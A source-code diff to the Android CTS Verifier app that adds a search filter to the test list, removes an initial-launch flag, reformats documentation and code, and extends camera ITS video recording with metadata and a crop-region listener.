--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -17,7 +17,6 @@
package com.android.cts.verifier;
import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
-import static com.android.cts.verifier.TestListActivity.sInitialLaunch;
import android.annotation.SuppressLint;
import android.content.Context;
@@ -47,84 +46,76 @@ import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
+import java.util.Locale;
import java.util.Map;
import java.util.stream.Collectors;
/**
- * {@link TestListAdapter} that populates the {@link TestListActivity}'s {@link ListView} by
- * reading data from the CTS Verifier's AndroidManifest.xml.
- * <p>
- * Making a new test activity to appear in the list requires the following steps:
+ * {@link TestListAdapter} that populates the {@link TestListActivity}'s {@link ListView} by reading
+ * data from the CTS Verifier's AndroidManifest.xml.
+ *
+ * <p>Making a new test activity to appear in the list requires the following steps:
*
* <ol>
- * <li>REQUIRED: Add an activity to the AndroidManifest.xml with an intent filter with a
- * main action and the MANUAL_TEST category.
- * <pre>
+ * <li>REQUIRED: Add an activity to the AndroidManifest.xml with an intent filter with a main
+ * action and the MANUAL_TEST category.
+ * <pre>
* <intent-filter>
* <action android:name="android.intent.action.MAIN" />
* <category android:name="android.cts.intent.category.MANUAL_TEST" />
* </intent-filter>
* </pre>
- * </li>
- * <li>REQUIRED: Add a meta data attribute to indicate which display modes of tests the activity
- * should belong to. "single_display_mode" indicates a test is only needed to run on the
- * main display mode (i.e. unfolded), and "multi_display_mode" indicates a test is required
- * to run under both modes (i.e. both folded and unfolded).If you don't add this attribute,
- * your test will show up in both unfolded and folded modes.
- * <pre>
+ * <li>REQUIRED: Add a meta data attribute to indicate which display modes of tests the activity
+ * should belong to. "single_display_mode" indicates a test is only needed to run on the main
+ * display mode (i.e. unfolded), and "multi_display_mode" indicates a test is required to run
+ * under both modes (i.e. both folded and unfolded).If you don't add this attribute, your test
+ * will show up in both unfolded and folded modes.
+ * <pre>
* <meta-data android:name="display_mode" android:value="multi_display_mode" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate what category of tests the activity
- * should belong to. If you don't add this attribute, your test will show up in the
- * "Other" tests category.
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate what category of tests the activity should
+ * belong to. If you don't add this attribute, your test will show up in the "Other" tests
+ * category.
+ * <pre>
* <meta-data android:name="test_category" android:value="@string/test_category_security" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate whether this test has a parent test.
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate whether this test has a parent test.
+ * <pre>
* <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate what features are required to run the
- * test. If the device does not have all of the required features then it will not appear
- * in the test list. Use a colon (:) to specify multiple required features.
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate what features are required to run the test.
+ * If the device does not have all of the required features then it will not appear in the
+ * test list. Use a colon (:) to specify multiple required features.
+ * <pre>
* <meta-data android:name="test_required_features" android:value="android.hardware.sensor.accelerometer" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate features such that, if any present, the
- * test gets excluded from being shown. If the device has any of the excluded features then
- * the test will not appear in the test list. Use a colon (:) to specify multiple features
- * to exclude for the test. Note that the colon means "or" in this case.
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate features such that, if any present, the
+ * test gets excluded from being shown. If the device has any of the excluded features then
+ * the test will not appear in the test list. Use a colon (:) to specify multiple features to
+ * exclude for the test. Note that the colon means "or" in this case.
+ * <pre>
* <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate features such that, if any present,
- * the test is applicable to run. If the device has any of the applicable features then
- * the test will appear in the test list. Use a colon (:) to specify multiple features
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate features such that, if any present, the
+ * test is applicable to run. If the device has any of the applicable features then the test
+ * will appear in the test list. Use a colon (:) to specify multiple features
+ * <pre>
* <meta-data android:name="test_applicable_features" android:value="android.hardware.sensor.compass" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate which intent actions are required to run
- * the test. If the device does not have activities that handle all those actions, then it
- * will not appear in the test list. Use a colon (:) to specify multiple required intent actions.
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate which intent actions are required to run
+ * the test. If the device does not have activities that handle all those actions, then it
+ * will not appear in the test list. Use a colon (:) to specify multiple required intent
+ * actions.
+ * <pre>
* <meta-data android:name="test_required_actions" android:value="android.app.action.ADD_DEVICE_ADMIN" />
* </pre>
- * </li>
- * <li>OPTIONAL: Add a meta data attribute to indicate which intent actions should not run when
- * the user running the test is of the given "type" (notice that the type here is not
- * necessarily the same as {@link UserManager#getUserType()}).
- * Use a colon (:) to specify multiple user types.
- * <pre>
+ * <li>OPTIONAL: Add a meta data attribute to indicate which intent actions should not run when
+ * the user running the test is of the given "type" (notice that the type here is not
+ * necessarily the same as {@link UserManager#getUserType()}). Use a colon (:) to specify
+ * multiple user types.
+ * <pre>
* <meta-data android:name="test_excluded_user_types" android:value="visible_background_non-profile_user" />
* </pre>
- * </li>
- *
* </ol>
*/
public class ManifestTestListAdapter extends TestListAdapter {
@@ -166,19 +157,25 @@ public class ManifestTestListAdapter extends TestListAdapter {
private static final String CONFIG_HAS_CAMERA_TOGGLE = "config_has_camera_toggle";
- /** The config to represent that a test is only needed to run in the main display mode
- * (i.e. unfolded) */
+ /**
+ * The config to represent that a test is only needed to run in the main display mode (i.e.
+ * unfolded).
+ */
private static final String SINGLE_DISPLAY_MODE = "single_display_mode";
- /** The config to represent that a test is needed to run in the multiple display modes
- * (i.e. both unfolded and folded) */
+ /**
+ * The config to represent that a test is needed to run in the multiple display modes (i.e. both
+ * unfolded and folded).
+ */
private static final String MULTIPLE_DISPLAY_MODE = "multi_display_mode";
/** The config to represent that a test is only needed to run in the folded display mode. */
private static final String FOLDED_DISPLAY_MODE = "folded_display_mode";
- /** The config to represent that a test is marked as pass when it passes either in folded mode
- * or in unfolded mode. */
+ /**
+ * The config to represent that a test is marked as pass when it passes either in folded mode or
+ * in unfolded mode.
+ */
private static final String EITHER_MODE = "either_mode";
/**
@@ -193,6 +190,10 @@ public class ManifestTestListAdapter extends TestListAdapter {
private String mTestParent;
+ public ManifestTestListAdapter(Context context, String testParent) {
+ this(context, testParent, context.getResources().getStringArray(R.array.disabled_tests));
+ }
+
public ManifestTestListAdapter(Context context, String testParent, String[] disabledTestArray) {
super(context);
mContext = context;
@@ -203,42 +204,39 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
}
- public ManifestTestListAdapter(Context context, String testParent) {
- this(context, testParent, context.getResources().getStringArray(R.array.disabled_tests));
- }
-
@Override
protected List<TestListItem> getRows() {
- List<TestListItem> allRows = new ArrayList<TestListItem>();
-
// When launching at the first time or after killing the process, needs to fetch the
// test items of all display modes as the bases for switching.
if (mDisplayModesTests.isEmpty()) {
for (DisplayMode mode : DisplayMode.values()) {
- allRows = getRowsWithDisplayMode(mode.toString());
- mDisplayModesTests.put(mode.toString(), allRows);
+ mDisplayModesTests.put(mode.toString(), getRowsWithDisplayMode(mode.toString()));
PackageManager packageManager = mContext.getPackageManager();
- boolean isCustomLauncher = packageManager.hasSystemFeature("com.google.android.tv.custom_launcher");
+ boolean isCustomLauncher =
+ packageManager.hasSystemFeature("com.google.android.tv.custom_launcher");
if (isCustomLauncher) {
mDisabledTests.add(
- "com.android.cts.verifier.net.ConnectivityBackgroundTestActivity");
+ "com.android.cts.verifier.net.ConnectivityBackgroundTestActivity");
}
}
}
- if (!sInitialLaunch) {
- return getRowsWithDisplayMode(sCurrentDisplayMode);
+ if (mTestFilter != null) {
+ // Filter test rows dynamically when the filter is specified.
+ return getRowsWithDisplayMode(sCurrentDisplayMode.toString());
+ } else {
+ return mDisplayModesTests.getOrDefault(
+ sCurrentDisplayMode.toString(), new ArrayList<>());
}
- return allRows;
}
/**
* Gets all rows based on the specific display mode.
*
- * @param mode Given display mode.
- * @return A list containing all test itmes in the given display mode.
+ * @param mode the given display mode
+ * @return a list containing all test itmes in the given display mode
*/
- private List<TestListItem> getRowsWithDisplayMode (String mode) {
+ private List<TestListItem> getRowsWithDisplayMode(String mode) {
/*
* 1. Get all the tests belonging to the test parent.
* 2. Get all the tests keyed by their category.
@@ -267,8 +265,9 @@ public class ManifestTestListAdapter extends TestListAdapter {
mainIntent.setPackage(mContext.getPackageName());
PackageManager packageManager = mContext.getPackageManager();
- List<ResolveInfo> list = packageManager.queryIntentActivities(mainIntent,
- PackageManager.GET_ACTIVITIES | PackageManager.GET_META_DATA);
+ List<ResolveInfo> list =
+ packageManager.queryIntentActivities(
+ mainIntent, PackageManager.GET_ACTIVITIES | PackageManager.GET_META_DATA);
int size = list.size();
List<ResolveInfo> matchingList = new ArrayList<>();
@@ -305,9 +304,19 @@ public class ManifestTestListAdapter extends TestListAdapter {
String displayMode = getDisplayMode(info.activityInfo.metaData);
boolean passInEitherMode = getTestPassMode(info.activityInfo.metaData, displayMode);
- TestListItem item = TestListItem.newTest(title, testName, intent, requiredFeatures,
- requiredConfigs, requiredActions, excludedFeatures, applicableFeatures,
- excludedUserTypes, displayMode, passInEitherMode);
+ TestListItem item =
+ TestListItem.newTest(
+ title,
+ testName,
+ intent,
+ requiredFeatures,
+ requiredConfigs,
+ requiredActions,
+ excludedFeatures,
+ applicableFeatures,
+ excludedUserTypes,
+ displayMode,
+ passInEitherMode);
String testCategory = getTestCategory(mContext, info.activityInfo.metaData);
addTestToCategory(testsByCategory, testCategory, item);
@@ -372,8 +381,8 @@ public class ManifestTestListAdapter extends TestListAdapter {
/**
* Gets the configuration of the display mode per test. The default value is multi_display_mode.
*
- * @param metaData Given metadata of the display mode.
- * @return A string representing the display mode of the test.
+ * @param metaData the given metadata of the display mode
+ * @return a string representing the display mode of the test
*/
static String getDisplayMode(Bundle metaData) {
if (metaData == null) {
@@ -386,9 +395,9 @@ public class ManifestTestListAdapter extends TestListAdapter {
/**
* Gets the configuration of the test pass mode per test.
*
- * @param metaData Given metadata of the test pass mode.
- * @return A boolean representing whether the test can be marked as pass when it passes either
- * in the folded mode or in the unfolded mode.
+ * @param metaData the given metadata of the test pass mode
+ * @return a boolean representing whether the test can be marked as pass when it passes either
+ * in the folded mode or in the unfolded mode
*/
static boolean getTestPassMode(Bundle metaData, String displayMode) {
if (metaData == null || !displayMode.equals(MULTIPLE_DISPLAY_MODE)) {
@@ -412,8 +421,10 @@ public class ManifestTestListAdapter extends TestListAdapter {
return intent;
}
- static void addTestToCategory(Map<String, List<TestListItem>> testsByCategory,
- String testCategory, TestListItem item) {
+ static void addTestToCategory(
+ Map<String, List<TestListItem>> testsByCategory,
+ String testCategory,
+ TestListItem item) {
List<TestListItem> tests;
if (testsByCategory.containsKey(testCategory)) {
tests = testsByCategory.get(testCategory);
@@ -470,11 +481,12 @@ public class ManifestTestListAdapter extends TestListAdapter {
switch (config) {
case CONFIG_NO_EMULATOR:
try {
- Method getStringMethod = ClassLoader.getSystemClassLoader()
- .loadClass("android.os.SystemProperties")
- .getMethod("get", String.class);
- String emulatorKernel = (String) getStringMethod.invoke("0",
- "ro.boot.qemu");
+ Method getStringMethod =
+ ClassLoader.getSystemClassLoader()
+ .loadClass("android.os.SystemProperties")
+ .getMethod("get", String.class);
+ String emulatorKernel =
+ (String) getStringMethod.invoke("0", "ro.boot.qemu");
if (emulatorKernel.equals("1")) {
return false;
}
@@ -483,8 +495,8 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
break;
case CONFIG_VOICE_CAPABLE:
- TelephonyManager telephonyManager = context.getSystemService(
- TelephonyManager.class);
+ TelephonyManager telephonyManager =
+ context.getSystemService(TelephonyManager.class);
if (!telephonyManager.isVoiceCapable()) {
return false;
}
@@ -518,9 +530,11 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
break;
case CONFIG_HAS_MIC_TOGGLE:
- return isHardwareToggleSupported(context, SensorPrivacyManager.Sensors.MICROPHONE);
+ return isHardwareToggleSupported(
+ context, SensorPrivacyManager.Sensors.MICROPHONE);
case CONFIG_HAS_CAMERA_TOGGLE:
- return isHardwareToggleSupported(context, SensorPrivacyManager.Sensors.CAMERA);
+ return isHardwareToggleSupported(
+ context, SensorPrivacyManager.Sensors.CAMERA);
default:
break;
}
@@ -530,11 +544,11 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
/**
- * Check if the test should be ran by the given display mode.
+ * Checks if the test should be ran by the given display mode.
*
- * @param mode Configs of the display mode.
- * @param currentMode Given display mode.
- * @return True if the given display mode matches the configs, otherwise, return false;
+ * @param mode the display mode config of the test
+ * @param currentMode the given display mode
+ * @return true if the given display mode matches the configs, otherwise, return false
*/
private boolean matchDisplayMode(String mode, String currentMode) {
if (mode == null) {
@@ -552,9 +566,7 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
}
- /**
- * Checks whether the test is being run by a user type that doesn't support it.
- */
+ /** Checks whether the test is being run by a user type that doesn't support it. */
private boolean matchAnyExcludedUserType(String[] userTypes) {
if (userTypes == null) {
return false;
@@ -569,14 +581,28 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
return false;
default:
- throw new IllegalArgumentException("Invalid "
- + TEST_EXCLUDED_USER_TYPES_META_DATA + " value: " + userType);
+ throw new IllegalArgumentException(
+ "Invalid "
+ + TEST_EXCLUDED_USER_TYPES_META_DATA
+ + " value: "
+ + userType);
}
}
return false;
}
+ /** Checks whether the title of the test matches the test filter. */
+ private boolean macthTestFilter(String testTitle) {
+ if (mTestFilter == null) {
+ return true;
+ }
+ return testTitle != null
+ && testTitle
+ .toLowerCase(Locale.getDefault())
+ .contains(mTestFilter.toLowerCase(Locale.getDefault()));
+ }
+
private boolean isVisibleBackgroundNonProfileUser() {
if (!SdkLevel.isAtLeastU()) {
Log.d(LOG_TAG, "isVisibleBagroundNonProfileUser() returning false on pre-UDC device");
@@ -598,7 +624,9 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
private static List<Integer> getHdmiDeviceType()
- throws InvocationTargetException, IllegalAccessException, ClassNotFoundException,
+ throws InvocationTargetException,
+ IllegalAccessException,
+ ClassNotFoundException,
NoSuchMethodException {
Method getStringMethod =
ClassLoader.getSystemClassLoader()
@@ -614,19 +642,21 @@ public class ManifestTestListAdapter extends TestListAdapter {
}
private static boolean hasBattery(Context context) {
- final Intent batteryInfo = context.registerReceiver(
- null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+ final Intent batteryInfo =
+ context.registerReceiver(null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
return batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
}
List<TestListItem> filterTests(List<TestListItem> tests, String mode) {
List<TestListItem> filteredTests = new ArrayList<>();
for (TestListItem test : tests) {
- if (!hasAnyFeature(test.excludedFeatures) && hasAllFeatures(test.requiredFeatures)
+ if (!hasAnyFeature(test.excludedFeatures)
+ && hasAllFeatures(test.requiredFeatures)
&& hasAllActions(test.requiredActions)
&& matchAllConfigs(mContext, test.requiredConfigs)
&& matchDisplayMode(test.displayMode, mode)
- && !matchAnyExcludedUserType(test.excludedUserTypes)) {
+ && !matchAnyExcludedUserType(test.excludedUserTypes)
+ && macthTestFilter(test.title)) {
if (test.applicableFeatures == null || hasAnyFeature(test.applicableFeatures)) {
// Add suffix in test name if the test is in the folded mode.
test.testName = setTestNameSuffix(mode, test.testName);
@@ -641,39 +671,15 @@ public class ManifestTestListAdapter extends TestListAdapter {
return filteredTests;
}
- @Override
- public int getCount() {
- if (!sInitialLaunch && mTestParent == null) {
- return mDisplayModesTests.getOrDefault(sCurrentDisplayMode, new ArrayList<>()).size();
- }
- return super.getCount();
- }
-
- @Override
- public TestListItem getItem(int position) {
- if (mTestParent == null) {
- return mDisplayModesTests.get(sCurrentDisplayMode).get(position);
- }
- return super.getItem(position);
- }
-
- @Override
- public void loadTestResults() {
- if (mTestParent == null) {
- new RefreshTestResultsTask(true).execute();
- } else {
- super.loadTestResults();
- }
- }
-
@SuppressLint("NewApi")
private static boolean isHardwareToggleSupported(Context context, final int sensorType) {
boolean isToggleSupported = false;
- SensorPrivacyManager sensorPrivacyManager = context.getSystemService(
- SensorPrivacyManager.class);
+ SensorPrivacyManager sensorPrivacyManager =
+ context.getSystemService(SensorPrivacyManager.class);
if (sensorPrivacyManager != null) {
- isToggleSupported = sensorPrivacyManager.supportsSensorToggle(
- SensorPrivacyManager.TOGGLE_TYPE_HARDWARE, sensorType);
+ isToggleSupported =
+ sensorPrivacyManager.supportsSensorToggle(
+ SensorPrivacyManager.TOGGLE_TYPE_HARDWARE, sensorType);
}
return isToggleSupported;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
index 38fba3f138c..790bf73e956 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
@@ -37,6 +37,7 @@ import android.view.MenuItem;
import android.view.View;
import android.view.Window;
import android.widget.CompoundButton;
+import android.widget.SearchView;
import android.widget.Switch;
import android.widget.Toast;
@@ -53,8 +54,6 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
// Records the current display mode.
// Default is unfolded mode, and it will be changed when clicking the switch button.
public static volatile String sCurrentDisplayMode = DisplayMode.UNFOLDED.toString();
- // Flag of launch app to fetch the unfolded/folded tests in main view from AndroidManifest.xml.
- protected static boolean sInitialLaunch;
private String[] mRequestedPermissions;
@@ -69,10 +68,10 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
}
/**
- * Coverts the mode as suffix with brackets for test name.
+ * Converts the mode as suffix with brackets for test name.
*
- * @return A string containing mode with brackets for folded mode; empty string for unfolded
- * mode.
+ * @return a string containing mode with brackets for folded mode; empty string for unfolded
+ * mode
*/
public String asSuffix() {
if (name().equals(FOLDED.name())) {
@@ -129,7 +128,6 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
if (!isTaskRoot()) {
finish();
}
- sInitialLaunch = true;
// Restores the last display mode when launching the app after killing the process.
if (getCurrentDisplayMode().equals(DisplayMode.FOLDED.toString())) {
@@ -147,7 +145,8 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
getListView().addFooterView(footer);
}
- setTestListAdapter(new ManifestTestListAdapter(this, null));
+ setTestListAdapter(
+ new ManifestTestListAdapter(/* context= */ this, /* testParent= */ null));
}
@Override
@@ -221,6 +220,28 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
handleSwitchItemSelected();
}
});
+
+ SearchView searchView = (SearchView) menu.findItem(R.id.search_test).getActionView();
+ searchView.setOnQueryTextListener(
+ new SearchView.OnQueryTextListener() {
+
+ public boolean onQueryTextSubmit(String query) {
+ Log.i(TAG, "Got submitted query: " + query);
+ handleQueryUpdated(query);
+ return true;
+ }
+
+ public boolean onQueryTextChange(String newText) {
+ if (newText == null || newText.isEmpty()) {
+ Log.i(TAG, "Clear filter");
+ handleQueryUpdated(newText);
+ return true;
+ } else {
+ return false;
+ }
+ }
+ });
+
return true;
}
@@ -252,7 +273,7 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
new ReportExporter(this, mAdapter).execute();
}
- // Sets up the flags after switching display mode and reloads tests on UI.
+ /** Sets up the flags after switching display mode and reloads tests on UI. */
private void handleSwitchItemSelected() {
setCurrentDisplayMode(sCurrentDisplayMode);
mAdapter.loadTestResults();
@@ -270,10 +291,21 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
return true;
}
+ /** Triggered when a new query is input. */
+ private void handleQueryUpdated(String query) {
+ if (query != null && !query.isEmpty()) {
+ mAdapter.setTestFilter(query);
+ } else {
+ // Reset the filter as null to show all tests.
+ mAdapter.setTestFilter(/* testFilter= */ null);
+ }
+ mAdapter.loadTestResults();
+ }
+
/**
* Sets current display mode to sharedpreferences.
*
- * @param mode A string of current display mode.
+ * @param mode a string of current display mode
*/
private void setCurrentDisplayMode(String mode) {
SharedPreferences pref = getSharedPreferences(DisplayMode.class.getName(), MODE_PRIVATE);
@@ -283,7 +315,7 @@ public class TestListActivity extends AbstractTestListActivity implements View.O
/**
* Gets current display mode from sharedpreferences.
*
- * @return A string of current display mode.
+ * @return a string of current display mode
*/
private String getCurrentDisplayMode() {
String mode =
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index d4007f9edea..870736f7b1a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -18,7 +18,6 @@ package com.android.cts.verifier;
import static com.android.cts.verifier.ReportExporter.LOGS_DIRECTORY;
import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
-import static com.android.cts.verifier.TestListActivity.sInitialLaunch;
import android.content.ContentResolver;
import android.content.Context;
@@ -103,6 +102,9 @@ public abstract class TestListAdapter extends BaseAdapter {
*/
protected Map<String, List<TestListItem>> mDisplayModesTests = new HashMap<>();
+ /** A keyword to help filter out test cases by the test name. */
+ protected String mTestFilter;
+
/** {@link ListView} row that is either a test category header or a test. */
public static class TestListItem {
@@ -399,10 +401,7 @@ public abstract class TestListAdapter extends BaseAdapter {
String displayMode,
boolean passInEitherMode) {
this.title = title;
- if (!sInitialLaunch) {
- testName = setTestNameSuffix(sCurrentDisplayMode, testName);
- }
- this.testName = testName;
+ this.testName = setTestNameSuffix(sCurrentDisplayMode, testName);
this.intent = intent;
this.requiredActions = requiredActions;
this.requiredFeatures = requiredFeatures;
@@ -431,7 +430,7 @@ public abstract class TestListAdapter extends BaseAdapter {
}
public void loadTestResults() {
- new RefreshTestResultsTask(false).execute();
+ new RefreshTestResultsTask().execute();
}
public void clearTestResults() {
@@ -446,37 +445,24 @@ public abstract class TestListAdapter extends BaseAdapter {
histories.merge(null, mHistories.get(name));
new SetTestResultTask(
- name,
- testResult.getResult(),
- testResult.getDetails(),
- testResult.getReportLog(),
- histories,
- mScreenshotsMetadata.get(name))
+ name,
+ testResult.getResult(),
+ testResult.getDetails(),
+ testResult.getReportLog(),
+ histories,
+ mScreenshotsMetadata.get(name))
.execute();
}
- class RefreshTestResultsTask extends AsyncTask<Void, Void, RefreshResult> {
-
- private boolean mIsFromMainView;
+ void setTestFilter(String testFilter) {
+ mTestFilter = testFilter;
+ }
- RefreshTestResultsTask(boolean isFromMainView) {
- mIsFromMainView = isFromMainView;
- }
+ class RefreshTestResultsTask extends AsyncTask<Void, Void, RefreshResult> {
@Override
protected RefreshResult doInBackground(Void... params) {
- List<TestListItem> rows = getRows();
- // When initial launch, needs to fetch tests in the unfolded/folded mode
- // to be stored in mDisplayModesTests as the basis for the future switch.
- if (sInitialLaunch) {
- sInitialLaunch = false;
- }
-
- if (mIsFromMainView) {
- rows = mDisplayModesTests.get(sCurrentDisplayMode);
- }
-
- return getRefreshResults(rows);
+ return getRefreshResults(getRows());
}
@Override
@@ -526,13 +512,13 @@ public abstract class TestListAdapter extends BaseAdapter {
protected abstract List<TestListItem> getRows();
static final String[] REFRESH_PROJECTION = {
- TestResultsProvider._ID,
- TestResultsProvider.COLUMN_TEST_NAME,
- TestResultsProvider.COLUMN_TEST_RESULT,
- TestResultsProvider.COLUMN_TEST_DETAILS,
- TestResultsProvider.COLUMN_TEST_METRICS,
- TestResultsProvider.COLUMN_TEST_RESULT_HISTORY,
- TestResultsProvider.COLUMN_TEST_SCREENSHOTS_METADATA,
+ TestResultsProvider._ID,
+ TestResultsProvider.COLUMN_TEST_NAME,
+ TestResultsProvider.COLUMN_TEST_RESULT,
+ TestResultsProvider.COLUMN_TEST_DETAILS,
+ TestResultsProvider.COLUMN_TEST_METRICS,
+ TestResultsProvider.COLUMN_TEST_RESULT_HISTORY,
+ TestResultsProvider.COLUMN_TEST_SCREENSHOTS_METADATA,
};
RefreshResult getRefreshResults(List<TestListItem> items) {
@@ -639,12 +625,12 @@ public abstract class TestListAdapter extends BaseAdapter {
ContentResolver resolver = mContext.getContentResolver();
try (Cursor cursor =
- resolver.query(
- TestResultsProvider.getTestNameUri(mContext, mTestName),
- new String[] {TestResultsProvider.COLUMN_TEST_RESULT_HISTORY},
- null,
- null,
- null)) {
+ resolver.query(
+ TestResultsProvider.getTestNameUri(mContext, mTestName),
+ new String[] {TestResultsProvider.COLUMN_TEST_RESULT_HISTORY},
+ null,
+ null,
+ null)) {
if (cursor.moveToFirst()) {
do {
TestResultHistoryCollection historyCollection =
@@ -723,7 +709,7 @@ public abstract class TestListAdapter extends BaseAdapter {
/** Gets {@link TestListItem} with the given test name. */
public TestListItem getItemByName(String testName) {
- for (TestListItem item: mRows) {
+ for (TestListItem item : mRows) {
if (item != null && item.testName != null && item.testName.equals(testName)) {
return item;
}
@@ -850,10 +836,11 @@ public abstract class TestListAdapter extends BaseAdapter {
public boolean allTestsPassed() {
for (TestListItem item : mRows) {
- if (item != null && item.isTest()
+ if (item != null
+ && item.isTest()
&& (!mTestResults.containsKey(item.testName)
- || (mTestResults.get(item.testName)
- != TestResult.TEST_RESULT_PASSED))) {
+ || (mTestResults.get(item.testName)
+ != TestResult.TEST_RESULT_PASSED))) {
return false;
}
}
@@ -923,10 +910,13 @@ public abstract class TestListAdapter extends BaseAdapter {
if (deviceStateManager == null) {
return false;
}
- Set<Integer> supportedStates = Arrays.stream(
- deviceStateManager.getSupportedStates()).boxed().collect(Collectors.toSet());
- int identifier = mContext.getResources().getIdentifier(
- "config_foldedDeviceStates", "array", "android");
+ Set<Integer> supportedStates =
+ Arrays.stream(deviceStateManager.getSupportedStates())
+ .boxed()
+ .collect(Collectors.toSet());
+ int identifier =
+ mContext.getResources()
+ .getIdentifier("config_foldedDeviceStates", "array", "android");
int[] foldedDeviceStates = mContext.getResources().getIntArray(identifier);
return Arrays.stream(foldedDeviceStates).anyMatch(supportedStates::contains);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 0d0d423baa7..c5aeffb7846 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -231,6 +231,7 @@ public class ItsService extends Service implements SensorEventListener {
private SparseArray<String> mPhysicalStreamMap = new SparseArray<String>();
private SparseArray<Long> mStreamUseCaseMap = new SparseArray<Long>();
private ImageReader mInputImageReader = null;
+ private ImageReader mExtensionPreviewImageReader = null;
private CameraCharacteristics mCameraCharacteristics = null;
private CameraExtensionCharacteristics mCameraExtensionCharacteristics = null;
private HashMap<String, CameraCharacteristics> mPhysicalCameraChars =
@@ -339,6 +340,7 @@ public class ItsService extends Service implements SensorEventListener {
public int videoFrameRate; // -1 implies video framerate was not set by the test
public int fileFormat;
public double zoomRatio;
+ public Map<String, String> metadata = new HashMap<>();
public VideoRecordingObject(String recordedOutputPath,
String quality, Size videoSize, int videoFrameRate,
@@ -360,6 +362,10 @@ public class ItsService extends Service implements SensorEventListener {
public boolean isFrameRateValid() {
return videoFrameRate != INVALID_FRAME_RATE;
}
+
+ public void addMetadata(String key, String value) {
+ metadata.put(key, value);
+ }
}
// For capturing motion sensor traces.
@@ -1122,6 +1128,11 @@ public class ItsService extends Service implements SensorEventListener {
videoJson.put("videoFrameRate", obj.videoFrameRate);
}
videoJson.put("videoSize", obj.videoSize);
+ JSONObject metadata = new JSONObject();
+ for (Map.Entry<String, String> entry : obj.metadata.entrySet()) {
+ metadata.put(entry.getKey(), entry.getValue());
+ }
+ videoJson.put("metadata", metadata);
sendResponse("recordingResponse", null, videoJson, null);
} catch (org.json.JSONException e) {
throw new ItsException("JSON error: ", e);
@@ -2363,6 +2374,7 @@ public class ItsService extends Service implements SensorEventListener {
int recordingDuration, int videoStabilizationMode,
boolean hlg10Enabled, double zoomRatio, int aeTargetFpsMin, int aeTargetFpsMax)
throws ItsException {
+ ScalerCropRegionListener scalerCropRegionListener = new ScalerCropRegionListener();
final long SESSION_CLOSE_TIMEOUT_MS = 3000;
if (!hlg10Enabled) {
@@ -2436,7 +2448,7 @@ public class ItsService extends Service implements SensorEventListener {
try {
configureAndCreateCaptureSession(CameraDevice.TEMPLATE_RECORD, mRecordSurface,
videoStabilizationMode, DynamicRangeProfiles.HLG10, mockCallback,
- zoomRatio, aeTargetFpsMin, aeTargetFpsMax);
+ zoomRatio, aeTargetFpsMin, aeTargetFpsMax, scalerCropRegionListener);
} catch (CameraAccessException e) {
throw new ItsException("Access error: ", e);
}
@@ -2481,6 +2493,7 @@ public class ItsService extends Service implements SensorEventListener {
private void doBasicRecording(String cameraId, int profileId, String quality,
int recordingDuration, int videoStabilizationMode,
double zoomRatio, int aeTargetFpsMin, int aeTargetFpsMax) throws ItsException {
+ ScalerCropRegionListener scalerCropRegionListener = new ScalerCropRegionListener();
int cameraDeviceId = Integer.parseInt(cameraId);
mMediaRecorder = new MediaRecorder();
CamcorderProfile camcorderProfile = getCamcorderProfile(cameraDeviceId, profileId);
@@ -2513,7 +2526,8 @@ public class ItsService extends Service implements SensorEventListener {
try {
configureAndCreateCaptureSession(CameraDevice.TEMPLATE_RECORD, mRecordSurface,
videoStabilizationMode, DynamicRangeProfiles.STANDARD,
